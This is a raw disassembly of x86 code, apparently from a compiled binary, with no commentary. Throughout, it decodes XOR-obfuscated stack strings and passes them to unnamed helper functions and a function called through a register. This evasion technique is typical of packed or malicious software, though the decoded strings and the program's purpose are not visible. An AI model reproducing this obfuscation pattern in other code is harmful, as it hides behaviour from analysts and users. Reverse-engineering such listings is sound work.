mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x540]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x540]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xbe0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x540], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0xbe0]
cmp dword [ebp - 0xbcc], 0xf
push 0
cmova eax, dword [ebp - 0xbe0]
push eax
call edi
test eax, eax
je 0x40fb99
mov dword [ebp - 0x20], 0xccec91f1
mov dword [ebp - 0x1c], 0x87ae7bbc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x7cc], ecx
mov dword [ebp - 0x20], 0x22a702a
mov dword [ebp - 0x1c], 0xf3ffe599
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7c8], eax
mov dword [ebp - 0x7c4], ecx
mov dword [ebp - 0x20], 0xf8b55793
mov dword [ebp - 0x1c], 0x1b8a8108
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x7bc], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x7b4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x7d0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x7d0], xmm1
movaps xmm1, xmmword [ebp - 0x7c0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x7d0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xf80]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x7c0], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x63
mov dword [ebp - 0x20], 0xedd084ec
mov dword [ebp - 0x1c], 0xf3814a90
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x550], ecx
mov dword [ebp - 0x54c], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x550]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x550]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x550], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xdd0]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0xf80]
call fcn.00402df0
cmp dword [ebp - 0xdbc], 0xf
lea ecx, [ebp - 0xdd0]
cmova ecx, dword [ebp - 0xdd0]
call fcn.004e4050
test al, al
je 0x40fb7b
sub esp, 0x18
lea eax, [ebp - 0xbe0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x66
sub esp, 0x18
lea eax, [ebp - 0xdd0]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x67
mov byte [ebp - 4], 0x65
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x40fb7b
mov byte [ebp - 0x31], 1
jmp 0x40fb8a
push ecx
lea ecx, [ebp - 0xbe0]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xdd0]
call fcn.00402df0
mov dword [ebp - 0x20], 0xf8c39df1
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x560]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x560]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xc70]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x560], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0xc70]
cmp dword [ebp - 0xc5c], 0xf
push 0
cmova eax, dword [ebp - 0xc70]
push eax
call edi
test eax, eax
je 0x40fe35
mov dword [ebp - 0x20], 0xf8c39df1
mov dword [ebp - 0x1c], 0xc3f02e8d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x20], 0x61453c47
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x570]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x570]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xf98]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x570], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x69
mov dword [ebp - 0x20], 0xedd084ec
mov dword [ebp - 0x1c], 0xf3814a90
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x580], ecx
mov dword [ebp - 0x57c], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x580]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x580]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x580], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xe30]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0xf98]
call fcn.00402df0
cmp dword [ebp - 0xe1c], 0xf
lea ecx, [ebp - 0xe30]
cmova ecx, dword [ebp - 0xe30]
call fcn.004e4050
test al, al
je 0x40fe17
sub esp, 0x18
lea eax, [ebp - 0xc70]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x6c
sub esp, 0x18
lea eax, [ebp - 0xe30]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x6b
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x40fe17
mov byte [ebp - 0x31], 1
jmp 0x40fe26
push ecx
lea ecx, [ebp - 0xc70]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0xe30]
call fcn.00402df0
mov dword [ebp - 0x20], 0xcee987f1
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf3ac7fbf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x590]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x590]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x148]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x590], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0xf
push 0
cmova eax, dword [ebp - 0x148]
push eax
call edi
test eax, eax
je 0x410e56
mov dword [ebp - 0x20], 0xcee987f1
mov dword [ebp - 0x1c], 0xf3ac7fbf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5a0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5a0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xfb0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x32], 0
movaps xmmword [ebp - 0x5a0], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x6f
mov dword [ebp - 0x20], 0xedd084ec
mov dword [ebp - 0x1c], 0xf3814a90
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x5b0], ecx
mov dword [ebp - 0x5ac], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5b0], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0x6e8]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xfb0]
call fcn.00402df0
cmp dword [ebp - 0x6d4], 0xf
lea ecx, [ebp - 0x6e8]
cmova ecx, dword [ebp - 0x6e8]
call fcn.004e4050
test al, al
je 0x410e38
mov dword [ebp - 0x20], 0xcaef98f1
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0xa0e072b0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x20], 0x375302
mov dword [ebp - 0x1c], 0xa0dfec9f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe48]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x2e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xe48]
cmp dword [ebp - 0xe34], 0xf
cmova ecx, dword [ebp - 0xe48]
call fcn.004e4050
test al, al
je 0x4101f7
mov dword [ebp - 0x20], 0xcaef98f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xa0e072b0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x20], 0x375302
mov dword [ebp - 0x1c], 0xa0dfec9f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5c0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xfc8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5c0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x73
or dword [ebp - 0x38], 2
cmp dword [eax + 0x14], 0xf
jbe 0x4101ea
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x4101fb
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x72
mov eax, dword [ebp - 0x38]
test al, 2
je 0x41021a
and eax, 0xfffffffd
lea ecx, [ebp - 0xfc8]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x4102fa
mov dword [ebp - 0x20], 0xcaef98f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xa0e072b0
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x20], 0x375302
mov dword [ebp - 0x1c], 0xa0dfec9f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5d0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5d0]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x5d0], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x74
sub esp, 0x14
lea eax, [ebp - 0xe48]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x75
mov byte [ebp - 4], 0x72
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x4102fa
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xdae587f1
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0x9daf77a2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x20], 0xe316f56
mov dword [ebp - 0x1c], 0xc5b8e88a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7e8], eax
mov dword [ebp - 0x7e4], ecx
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7e0], eax
mov dword [ebp - 0x7dc], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7d8], eax
mov dword [ebp - 0x7d4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x7f0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x7f0], xmm1
movaps xmm1, xmmword [ebp - 0x7e0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x7f0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xe60]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x7e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xe60]
cmp dword [ebp - 0xe4c], 0xf
cmova ecx, dword [ebp - 0xe60]
call fcn.004e4050
test al, al
je 0x41058a
mov dword [ebp - 0x20], 0xdae587f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x9daf77a2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7ac], ecx
mov dword [ebp - 0x20], 0xe316f56
mov dword [ebp - 0x1c], 0xc5b8e88a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7a4], ecx
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7a0], eax
mov dword [ebp - 0x79c], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x794], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x7b0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x7b0], xmm1
movaps xmm1, xmmword [ebp - 0x7a0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x7b0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xfe0]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x7a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x77
or dword [ebp - 0x38], 4
cmp dword [eax + 0x14], 0xf
jbe 0x41057d
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x41058e
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x76
mov eax, dword [ebp - 0x38]
test al, 4
je 0x4105ad
and eax, 0xfffffffb
lea ecx, [ebp - 0xfe0]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x410713
mov dword [ebp - 0x20], 0xdae587f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x9daf77a2
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x790], eax
mov dword [ebp - 0x78c], ecx
mov dword [ebp - 0x20], 0xe316f56
mov dword [ebp - 0x1c], 0xc5b8e88a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x788], eax
mov dword [ebp - 0x784], ecx
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x77c], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x778], eax
mov dword [ebp - 0x774], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x790]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x790], xmm1
movaps xmm1, xmmword [ebp - 0x780]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x790]
mov dword [ebp - 0x44], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x780], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x78
sub esp, 0x14
lea eax, [ebp - 0xe60]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x79
mov byte [ebp - 4], 0x76
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x410713
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xc5f1a7f1
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe78]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xe78]
cmp dword [ebp - 0xe64], 0xf
cmova ecx, dword [ebp - 0xe78]
call fcn.004e4050
test al, al
je 0x410897
mov dword [ebp - 0x20], 0xc5f1a7f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
